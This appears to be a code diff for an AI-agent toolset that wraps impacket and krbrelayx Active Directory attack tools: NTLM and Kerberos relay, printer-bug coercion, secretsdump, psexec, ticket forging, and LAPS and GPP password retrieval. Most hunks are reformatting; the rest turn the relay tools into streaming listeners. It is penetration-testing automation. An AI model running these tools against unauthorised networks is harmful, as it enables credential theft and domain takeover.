@@ from loguru import logger +from ._relay import NTLMRELAYX_SUCCESS_PATTERNS, stream_listener +from ._relay import kill_relay as _kill_relay +from ._relay import wait_for_relay_ready as _wait_for_relay_ready +from ._relay import wait_for_relay_result as _wait_for_relay_result + def _is_python_script(path: Path) -> bool: """Check if a file is a real Python script (not a shell wrapper or binary).""" @@ -90,9 +93,7 @@ def _ensure_impacket_installed() -> None: except (subprocess.CalledProcessError, subprocess.TimeoutExpired, OSError): pass - logger.warning( - f"impacket not importable by {sys.executable} — attempting install" - ) + logger.warning(f"impacket not importable by {sys.executable} — attempting install") # Build install commands to try in order: # 1. uv pip install --python (works in uv venvs that lack pip) @@ -102,17 +103,18 @@ def _ensure_impacket_installed() -> None: uv = shutil.which("uv") if uv: - install_cmds.append( - [uv, "pip", "install", "--python", sys.executable, "impacket>=0.12.0"] - ) + install_cmds.append([uv, "pip", "install", "--python", sys.executable, "impacket>=0.12.0"]) - install_cmds.append( - [sys.executable, "-m", "pip", "install", "--quiet", "impacket>=0.12.0"] - ) + install_cmds.append([sys.executable, "-m", "pip", "install", "--quiet", "impacket>=0.12.0"]) install_cmds.append( [ - sys.executable, "-m", "pip", "install", "--quiet", - "--break-system-packages", "impacket>=0.12.0", + sys.executable, + "-m", + "pip", + "install", + "--quiet", + "--break-system-packages", + "impacket>=0.12.0", ] ) @@ -129,9 +131,7 @@ def _ensure_impacket_installed() -> None: return except (subprocess.CalledProcessError, subprocess.TimeoutExpired, OSError): continue - logger.error( - f"Failed to install impacket into {sys.executable} — impacket tools will not work" - ) + logger.error(f"Failed to install impacket into {sys.executable} — impacket tools will not work") _ensure_impacket_installed() @@ -182,14 +182,10 @@ def _get_impacket_script_path() -> Path: # script path (e.g. "exec python3 /real/path/script.py") real_dir = _extract_real_path_from_wrapper(found_path) if real_dir is not None: - logger.debug( - f"Impacket wrapper at {found_path} points to real scripts at {real_dir}" - ) + logger.debug(f"Impacket wrapper at {found_path} points to real scripts at {real_dir}") return real_dir - logger.warning( - f"Impacket script at {found_path} is a shell wrapper, skipping PATH discovery" - ) + logger.warning(f"Impacket script at {found_path} is a shell wrapper, skipping PATH discovery") # Default fallback return Path("/usr/share/doc/python3-impacket/examples/") @@ -216,148 +212,6 @@ def _get_impacket_script_path() -> Path: ), } -# Patterns in ntlmrelayx stdout that indicate a successful relay -_RELAY_SUCCESS_PATTERNS = [ - "certificate", - "got certificate", - "dumping", - "sam hashes", - "authenticating against", - "relay succeeded", - "shadow credentials", - "msds-keycredentiallink", - "escalating", - "adding computer", - "laps password", - "gmsa password", -] - -# How long to wait after SIGTERM before escalating to SIGKILL. -_SIGKILL_TIMEOUT = 5.0 - - -async def _wait_for_relay_ready( - proc: asyncio.subprocess.Process, - output_buffer: list[str], - timeout: float = 30, -) -> bool: - """Read ntlmrelayx stdout until 'Servers started' appears or timeout. - - Returns True if the relay is ready, False on early exit or timeout. - """ - assert proc.stdout is not None - loop = asyncio.get_running_loop() - deadline = loop.time() + timeout - - while loop.time() < deadline: - remaining = deadline - loop.time() - try: - line = await asyncio.wait_for( - proc.stdout.readline(), timeout=min(remaining, 5) - ) - except TimeoutError: - if proc.returncode is not None: - return False - continue - - if not line: - return False # EOF — process exited - - decoded = line.decode(errors="replace") - output_buffer.append(decoded) - - if "servers started" in decoded.lower(): - return True - - # Early failure: port bind error - lower = decoded.lower() - if "error" in lower and ("bind" in lower or "address already in use" in lower): - return False - - return False - - -async def _wait_for_relay_result( - proc: asyncio.subprocess.Process, - output_buffer: list[str], - timeout: float = 90, -) -> bool: - """Read ntlmrelayx stdout looking for success indicators. - - On match, continues reading for 5 more seconds to capture follow-up - data (certificate values, hashes, etc.) before returning. - """ - assert proc.stdout is not None - loop = asyncio.get_running_loop() - deadline = loop.time() + timeout - - while loop.time() < deadline: - remaining = deadline - loop.time() - try: - line = await asyncio.wait_for( - proc.stdout.readline(), timeout=min(remaining, 5) - ) - except TimeoutError: - if proc.returncode is not None: - break - continue - - if not line: - break - - decoded = line.decode(errors="replace") - output_buffer.append(decoded) - - lower = decoded.lower() - if any(pattern in lower for pattern in _RELAY_SUCCESS_PATTERNS): - # Drain follow-up output (cert data, hash values) for up to 5s total - drain_deadline = loop.time() + 5 - try: - while loop.time() < drain_deadline: - drain_remaining = drain_deadline - loop.time() - extra = await asyncio.wait_for( - proc.stdout.readline(), timeout=drain_remaining - ) - if not extra: - break - output_buffer.append(extra.decode(errors="replace")) - except TimeoutError: - pass - return True - - return False - - -async def _kill_relay(proc: asyncio.subprocess.Process) -> None: - """Terminate a relay subprocess and its process group. - - Sends SIGTERM to the process group, waits up to 5 seconds, then - escalates to SIGKILL. Requires the subprocess was created with - ``start_new_session=True``. - """ - if proc.returncode is not None: - return - - pid = proc.pid - if pid is None: - return - - try: - pgid = os.getpgid(pid) - except (OSError, ProcessLookupError): - return - - with contextlib.suppress(OSError, ProcessLookupError): - os.killpg(pgid, signal.SIGTERM) - - try: - await asyncio.wait_for(proc.wait(), timeout=_SIGKILL_TIMEOUT) - except TimeoutError: - with contextlib.suppress(OSError, ProcessLookupError): - os.killpg(pgid, signal.SIGKILL) - with contextlib.suppress(ProcessLookupError): - await proc.wait() - class Impacket(Toolset): """ @@ -457,9 +311,7 @@ def _build_identity_with_target( if target == "LOCAL": return "LOCAL" - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if identity: return f"{identity}@{target}" return target @@ -728,10 +580,7 @@ def _build_coercion_command( FileNotFoundError: If the coercion script is not installed. """ if method not in _COERCION_SCRIPTS: - raise ValueError( - f"Unknown coercion method '{method}'. " - f"Choose from: {', '.join(_COERCION_SCRIPTS)}" - ) + raise ValueError(f"Unknown coercion method '{method}'. " f"Choose from: {', '.join(_COERCION_SCRIPTS)}") base_path, script_name, repo_url = _COERCION_SCRIPTS[method] script = base_path / script_name @@ -876,18 +725,12 @@ async def impacket_rbcd( raise ValueError("delegate_from is required when action='write'") if not (password or hashes or kerberos): - raise ValueError( - "Must provide at least one authentication method: password, hashes, or kerberos" - ) + raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") # Build identity - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if not identity and not kerberos: - raise ValueError( - "Must provide domain/username unless using Kerberos authentication" - ) + raise ValueError("Must provide domain/username unless using Kerberos authentication") # Build command args = [] @@ -903,11 +746,7 @@ async def impacket_rbcd( if use_ldaps: args.append("-use-ldaps") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -1015,9 +854,7 @@ async def impacket_get_gpp_password( input: Optional input string to pass to the command's stdin. """ # Build identity with target - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) # Build command args = [identity] @@ -1034,11 +871,7 @@ async def impacket_get_gpp_password( if port is not None: args.extend(["-port", str(port)]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) return await execute( @@ -1135,9 +968,7 @@ async def impacket_find_delegation( input: Optional input string to pass to the command's stdin. """ # Build domain-first identity - identity = self._build_domain_first_identity( - domain, username=username, password=password - ) + identity = self._build_domain_first_identity(domain, username=username, password=password) # Build command args = [identity] @@ -1145,11 +976,7 @@ async def impacket_find_delegation( if target_domain: args.extend(["-target-domain", target_domain]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -1248,9 +1075,7 @@ async def impacket_get_laps_password( input: Optional input string to pass to the command's stdin. """ # Build domain-first identity - identity = self._build_domain_first_identity( - domain, username=username, password=password - ) + identity = self._build_domain_first_identity(domain, username=username, password=password) # Build command args = [identity] @@ -1261,11 +1086,7 @@ async def impacket_get_laps_password( if outputfile: args.extend(["-outputfile", outputfile]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -1395,9 +1216,7 @@ async def impacket_ticketer( """ # Validation if not nthash and not aes_key and not keytab: - raise ValueError( - "Must provide at least one signing key: nthash, aes_key, or keytab" - ) + raise ValueError("Must provide at least one signing key: nthash, aes_key, or keytab") if request and not request_user: raise ValueError("request_user is required when request=True") @@ -1582,18 +1401,12 @@ async def impacket_get_st( """ # Validation if not (password or hashes or kerberos): - raise ValueError( - "Must provide at least one authentication method: password, hashes, or kerberos" - ) + raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") # Build identity - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if not identity and not kerberos: - raise ValueError( - "Must provide domain/username unless using Kerberos authentication" - ) + raise ValueError("Must provide domain/username unless using Kerberos authentication") # Build command args = [] @@ -1623,11 +1436,7 @@ async def impacket_get_st( if renew: args.append("-renew") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -1750,9 +1559,7 @@ async def impacket_get_user_spns( input: Optional input string to pass to the command's stdin. """ # Build domain-first identity - identity = self._build_domain_first_identity( - domain, username=username, password=password - ) + identity = self._build_domain_first_identity(domain, username=username, password=password) # Build command args = [identity] @@ -1781,11 +1588,7 @@ async def impacket_get_user_spns( if stealth: args.append("-stealth") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -1915,18 +1718,12 @@ async def impacket_add_computer( """ # Validation if not (password or hashes or kerberos): - raise ValueError( - "Must provide at least one authentication method: password, hashes, or kerberos" - ) + raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") # Build identity - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if not identity and not kerberos: - raise ValueError( - "Must provide domain/username unless using Kerberos authentication" - ) + raise ValueError("Must provide domain/username unless using Kerberos authentication") # Build command args = [] @@ -1960,11 +1757,7 @@ async def impacket_add_computer( if delete: args.append("-delete") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -2064,18 +1857,12 @@ async def impacket_get_tgt( """ # Validation if not (password or hashes or kerberos): - raise ValueError( - "Must provide at least one authentication method: password, hashes, or kerberos" - ) + raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") # Build identity - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if not identity and not kerberos: - raise ValueError( - "Must provide domain/username unless using Kerberos authentication" - ) + raise ValueError("Must provide domain/username unless using Kerberos authentication") # Build command args = [] @@ -2088,11 +1875,7 @@ async def impacket_get_tgt( if principal_type: args.extend(["-principalType", principal_type]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -2137,6 +1920,7 @@ async def impacket_ntlmrelayx( no_http_server: bool = False, no_wcf_server: bool = False, no_raw_server: bool = False, + relay_timeout: int = 180, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -2145,6 +1929,12 @@ async def impacket_ntlmrelayx( This is a relay server that requires NO authentication - it relays incoming NTLM authentication. + It is a **listener**: it stays up streaming output and returns as soon as a relay + succeeds (SAM hashes, a certificate, escalation, etc.) or after ``relay_timeout`` + seconds. Reaching that deadline without catching an auth is a normal outcome, not a + failure — the captured output is returned either way. To pair the relay with coercion + in one call, use ``impacket_ntlmrelay_attack`` instead. + Usage Examples: # Basic SMB relay to dump SAM await impacket_ntlmrelayx( @@ -2347,8 +2137,11 @@ async def impacket_ntlmrelayx( no_http_server: Disable HTTP server. no_wcf_server: Disable WCF server. no_raw_server: Disable RAW server. + relay_timeout: How long (seconds) to keep the relay listener up waiting for an + authentication before returning the captured output (default: 180). env: Optional environment variables. - input: Optional input string to pass to the command's stdin. + input: Accepted for signature parity with the other impacket tools; ignored + here, since a relay listener does not read from stdin. """ if not target and not targets_file: raise ValueError("Must provide either target or targets_file") @@ -2387,10 +2180,10 @@ async def impacket_ntlmrelayx( no_raw_server=no_raw_server, ) - return await execute( + return await stream_listener( self._build_script_command("ntlmrelayx.py", args), - timeout=self.timeout, - input=input, + success_patterns=NTLMRELAYX_SUCCESS_PATTERNS, + timeout=relay_timeout, env=env, ) @@ -2528,25 +2321,16 @@ async def impacket_ntlmrelay_attack( ready_timeout = min(relay_timeout // 2, 30) # Wait for relay to bind its listeners - ready = await _wait_for_relay_ready( - relay_proc, relay_output, timeout=ready_timeout - ) + ready = await _wait_for_relay_ready(relay_proc, relay_output, timeout=ready_timeout) if not ready: captured = "".join(relay_output) - raise RuntimeError( - f"ntlmrelayx failed to start within {ready_timeout}s.\n\n" - f"Output:\n{captured}" - ) + raise RuntimeError(f"ntlmrelayx failed to start within {ready_timeout}s.\n\n" f"Output:\n{captured}") # Fire coercion — the target authenticates back to our relay - logger.info( - f"Relay ready. Running {coerce_method} coercion against {coerce_target}" - ) + logger.info(f"Relay ready. Running {coerce_method} coercion against {coerce_target}") coerce_timeout = min(30, relay_timeout - ready_timeout) try: - coerce_result = await execute( - coerce_cmd, timeout=coerce_timeout, env=env - ) + coerce_result = await execute(coerce_cmd, timeout=coerce_timeout, env=env) except (RuntimeError, TimeoutError) as exc: coerce_result = f"[coercion error] {exc}" logger.warning(f"Coercion failed: {exc}") @@ -2556,16 +2340,14 @@ async def impacket_ntlmrelay_attack( # Monitor relay for success with whatever time remains remaining = max(relay_timeout - ready_timeout - coerce_timeout, 1) success = await _wait_for_relay_result( - relay_proc, relay_output, timeout=remaining + relay_proc, relay_output, NTLMRELAYX_SUCCESS_PATTERNS, timeout=remaining ) # Assemble result full_relay = "".join(relay_output) parts = [f"=== ntlmrelayx output ===\n{full_relay}"] if coerce_result: - parts.append( - f"\n=== {coerce_method} coercion output ===\n{coerce_result}" - ) + parts.append(f"\n=== {coerce_method} coercion output ===\n{coerce_result}") if not success: parts.append( "\n[!] No relay success indicator detected within timeout. " @@ -2699,26 +2481,18 @@ async def impacket_owneredit( """ # Validation if not (password or hashes or kerberos): - raise ValueError( - "Must provide at least one authentication method: password, hashes, or kerberos" - ) + raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") if not (target or target_sid or target_dn): - raise ValueError( - "Must provide at least one target identifier: target, target_sid, or target_dn" - ) + raise ValueError("Must provide at least one target identifier: target, target_sid, or target_dn") if action == "write" and not (new_owner or new_owner_sid or new_owner_dn): raise ValueError("Must provide new owner when action='write'") # Build identity - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if not identity and not kerberos: - raise ValueError( - "Must provide domain/username unless using Kerberos authentication" - ) + raise ValueError("Must provide domain/username unless using Kerberos authentication") # Build command args = [] @@ -2748,11 +2522,7 @@ async def impacket_owneredit( if use_ldaps: args.append("-use-ldaps") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -2918,9 +2688,7 @@ async def impacket_secretsdump( input: Optional input string to pass to the command's stdin. """ # Build identity with target - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) # Build command args = [identity] @@ -2974,11 +2742,7 @@ async def impacket_secretsdump( if ntds: args.extend(["-ntds", ntds]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) return await execute( @@ -3081,9 +2845,7 @@ async def impacket_get_np_users( input: Optional input string to pass to the command's stdin. """ # Build domain-first identity - identity = self._build_domain_first_identity( - domain, username=username, password=password - ) + identity = self._build_domain_first_identity(domain, username=username, password=password) # Build command args = [identity] @@ -3100,11 +2862,7 @@ async def impacket_get_np_users( if usersfile: args.extend(["-usersfile", usersfile]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -3238,9 +2996,7 @@ async def impacket_changepasswd( raise ValueError("Must provide either newpass or newhashes") # Build identity with target - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) # Build command args = [identity] @@ -3266,11 +3022,7 @@ async def impacket_changepasswd( if reset: args.append("-reset") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -3424,28 +3176,18 @@ async def impacket_dacledit( """ # Validation if not (password or hashes or kerberos): - raise ValueError( - "Must provide at least one authentication method: password, hashes, or kerberos" - ) + raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") if not (target or target_sid or target_dn): - raise ValueError( - "Must provide at least one target identifier: target, target_sid, or target_dn" - ) + raise ValueError("Must provide at least one target identifier: target, target_sid, or target_dn") - if action in ("write", "remove") and not ( - principal or principal_sid or principal_dn - ): + if action in ("write", "remove") and not (principal or principal_sid or principal_dn): raise ValueError(f"Must provide principal when action='{action}'") # Build identity - identity = self._build_basic_identity( - domain=domain, username=username, password=password - ) + identity = self._build_basic_identity(domain=domain, username=username, password=password) if not identity and not kerberos: - raise ValueError( - "Must provide domain/username unless using Kerberos authentication" - ) + raise ValueError("Must provide domain/username unless using Kerberos authentication") # Build command args = [] @@ -3490,11 +3232,7 @@ async def impacket_dacledit( if file: args.extend(["-file", file]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -3591,9 +3329,7 @@ async def impacket_lookup_sid( input: Optional input string to pass to the command's stdin. """ # Build identity with target - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) # Build command args = [identity] @@ -3607,11 +3343,7 @@ async def impacket_lookup_sid( if port is not None: args.extend(["-port", str(port)]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=None, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=None, password=password)) args.extend(self._build_connection_flags(target_ip=target_ip)) return await execute( @@ -3725,9 +3457,7 @@ async def impacket_wmiexec( env: Optional environment variables. input: Optional stdin input. """ - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) args = [identity] if command: @@ -3744,11 +3474,7 @@ async def impacket_wmiexec( if port is not None: args.extend(["-port", str(port)]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) # If no command given, send exit to prevent interactive shell hang @@ -3861,9 +3587,7 @@ async def impacket_psexec( env: Optional environment variables. input: Optional stdin input. """ - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) args = [identity] if command: @@ -3878,11 +3602,7 @@ async def impacket_psexec( if port is not None: args.extend(["-port", str(port)]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) # If no command given, send exit to prevent interactive shell hang @@ -3986,9 +3706,7 @@ async def impacket_smbexec( timeout: Command timeout in seconds. env: Optional environment variables. """ - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) args = [identity] @@ -4003,11 +3721,7 @@ async def impacket_smbexec( if port is not None: args.extend(["-port", str(port)]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) # smbexec opens a shell — send command via stdin, then exit @@ -4099,9 +3813,7 @@ async def impacket_atexec( env: Optional environment variables. input: Optional stdin input. """ - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) args = [identity, command] @@ -4110,11 +3822,7 @@ async def impacket_atexec( if codec: args.extend(["-codec", codec]) - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -4224,9 +3932,7 @@ async def impacket_dcomexec( env: Optional environment variables. input: Optional stdin input. """ - identity = self._build_identity_with_target( - target, domain=domain, username=username, password=password - ) + identity = self._build_identity_with_target(target, domain=domain, username=username, password=password) args = [identity] if command: @@ -4243,11 +3949,7 @@ async def impacket_dcomexec( if silentcommand: args.append("-silentcommand") - args.extend( - self._build_auth_flags( - hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password - ) - ) + args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) # If no command given, send exit to prevent interactive shell hang diff --git a/capabilities/network-ops/tools/krbrelayx.py b/capabilities/network-ops/tools/krbrelayx.py index 4667013b..511b8fef 100644 --- a/capabilities/network-ops/tools/krbrelayx.py +++ b/capabilities/network-ops/tools/krbrelayx.py @@ -5,10 +5,23 @@ from dreadnode.agents.tools import Toolset, tool_method from dreadnode.tools.execute import execute +from ._relay import stream_listener + # Default path for krbrelayx scripts # Install via: git clone https://github.com/dirkjanm/krbrelayx.git g_default_krbrelayx_path = Path("/opt/krbrelayx/") +# Substrings in krbrelayx stdout that indicate a relay caught/relayed an auth. +# Verified against dirkjanm/krbrelayx source: "Got ticket for ..." and "Saving +# ticket in ....ccache" (unconstrained-delegation capture) and the +# "Authenticating against ... SUCCEED" relay line. "succeed" is used rather than +# "authenticating against" because the latter also matches the FAILED line. +_KRBRELAYX_SUCCESS_PATTERNS = [ + "got ticket", + "saving ticket", + "succeed", +] + class Krbrelayx(Toolset): """ @@ -384,12 +397,20 @@ async def krbrelayx_relay( filename: str | None = None, aeskey: str | None = None, debug: bool = False, + relay_timeout: int = 180, env: dict[str, str] | None = None, input: str | None = None, ) -> str: r""" Execute krbrelayx krbrelayx.py for Kerberos relay attacks on unconstrained delegation. + This is a **listener**: it starts a relay server and stays up waiting for a + coerced/relayed authentication to arrive (trigger coercion separately, e.g. + with ``krbrelayx_printer_bug`` or a coercion tool). It streams the server's + output and returns as soon as a relayed ticket/connection is seen, or after + ``relay_timeout`` seconds — reaching that deadline without catching an auth is + a normal outcome, not a failure, and the captured output is returned either way. + Relay Kerberos authentication from a machine with unconstrained delegation to attack targets. Usage Examples: @@ -446,8 +467,11 @@ async def krbrelayx_relay( filename: Filename for the printer bug trigger. aeskey: AES key for Kerberos authentication. debug: Enable debug output. + relay_timeout: How long (seconds) to keep the relay listener up waiting for + an authentication before returning the captured output (default: 180). env: Optional environment variables. - input: Optional input string to pass to the command's stdin. + input: Accepted for signature parity with the other krbrelayx tools; ignored + here, since a relay listener does not read from stdin. """ # Build command args = [] @@ -479,10 +503,10 @@ async def krbrelayx_relay( if debug: args.append("-d") - return await execute( + return await stream_listener( [sys.executable, str(self.script_path / "krbrelayx.py"), *args], - timeout=self.timeout, - input=input, + success_patterns=_KRBRELAYX_SUCCESS_PATTERNS, + timeout=relay_timeout, env=env, ) @@ -505,6 +529,9 @@ async def krbrelayx_printer_bug( Execute krbrelayx printerbug.py to trigger the printer bug for unconstrained delegation. Trigger the printer spooler bug to coerce authentication from a target to an attacker-controlled host. + This is a one-shot trigger, not a listener: it fires the MS-RPRN coercion and exits. The coerced + authentication arrives at a separately running relay listener (e.g. ``krbrelayx_relay``), which must + already be up before this is called. Usage Examples: # Trigger printer bug with password authentication